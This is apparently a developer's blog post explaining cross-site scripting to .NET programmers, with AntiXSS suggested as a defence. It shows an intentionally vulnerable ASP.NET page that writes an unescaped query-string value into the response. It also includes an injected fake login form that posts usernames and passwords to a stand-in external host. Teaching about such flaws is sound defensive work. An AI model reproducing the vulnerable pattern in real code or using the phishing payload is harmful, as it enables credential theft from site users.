I don’t run into a lot of web application developers who spend a lot of time thinking about security. I don’t know why. They’re usually under some stress to meet a deadline they didn’t have input on to meet business objectives that shift on a daily business. It’s not easy hitting a moving target, and some things get missed. Business users aren’t often savvy to security, so, there’s little reward to the application developer who spends extra time “battening down the hatches”. I get it, but, time has not been kind to web security matters. It seems like every day we’re hearing about more exploits using the problems identified a decade ago.
CSS/XSS (Cross site scripting) has been around a long time. It’s fairly easy to understand.
Here’s a simple example (caveat: you would have to compile this with .Net 2.0)
<head> <title></title> </head> <body> <form action="/pwned.aspx" method="get"> <input type=text id="name" name="name" /> <input type="submit" value="Submit" /> </form> </body> </html>
<%@ Page ValidateRequest="false" Language="C#" AutoEventWireup="true" CodeBehind="pwned.aspx.cs" Inherits="jqPlotTest.pwned" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <% string name = Page.Request.QueryString["name"]; Page.Response.Write("<h1>Name: "+name); %> </div> </form> </body> </html>
Okay, so what?
What if it inserted a form asking the user to input their user credentials instead of popping up an alert box and threw in some CSS (Cascading Style Sheets this time) to make it look a little nicer?
Here’s the string:
Oops. We could not verify that username.<FORM ACTION="http://www. mischievous.com/receivingxsspost.php" METHOD="post"><center><table><tr><td>Please verify your authentication information:</td></tr><tr><td>Username: <input type="text" name="login" style="color: #781351;background: #fee3ad;border: 1px solid #781351" /></td></tr><tr><td>Password:<input type="text" name="password" style="color: #781351;background: #fee3ad;border: 1px solid #781351" /></td></tr><tr><td><input type="submit" value="Submit" style="color: #000;background: #ffa20f;border: 2px outset #d7b9c9" /></td></tr></table></center></form>
If the user fills out their username and password it will post that information to http://www. mischievous.com/receivingxsspost.php. Probably not what you wanted your users doing.
This brings us to XSS categorization:
- Reflected: This is the “easy” one; we did it in the first example.
- Stored: Scripts that are injected directly into a web applications database or cache or any sort of storage mechanism that’s going to be reused and abused outside of the current session (i.e. impacts multiple users).
These can let us do “Man in the Middle attacks” where your authentication, verification, passwords, and certificates are rendered somewhat helpless since your trusted user is unwittingly sending their credentials (or whatever) out to another website.
Okay, so we demonstrated a vulnerability in technology that is “ancient”… Well, luckily for the really lazy hackers, there are resources like this one to tell you about all the latest vulnerabilities:
XSS is a good thing for web developers to pay attention to. If you’re in .Net like me, Microsoft has a few things you may want to capitalize on as sort of an “easy” button for the problem:
AntiXSS 4.0 (released 10/5/2010): http://www.microsoft.com/download/en/details.aspx?id=5242
That doesn’t mean you’ve solved all your problems. You still have unclear business objectives and unreasonable timelines. It wouldn’t be fun if it was easy right?
Thanks for reading,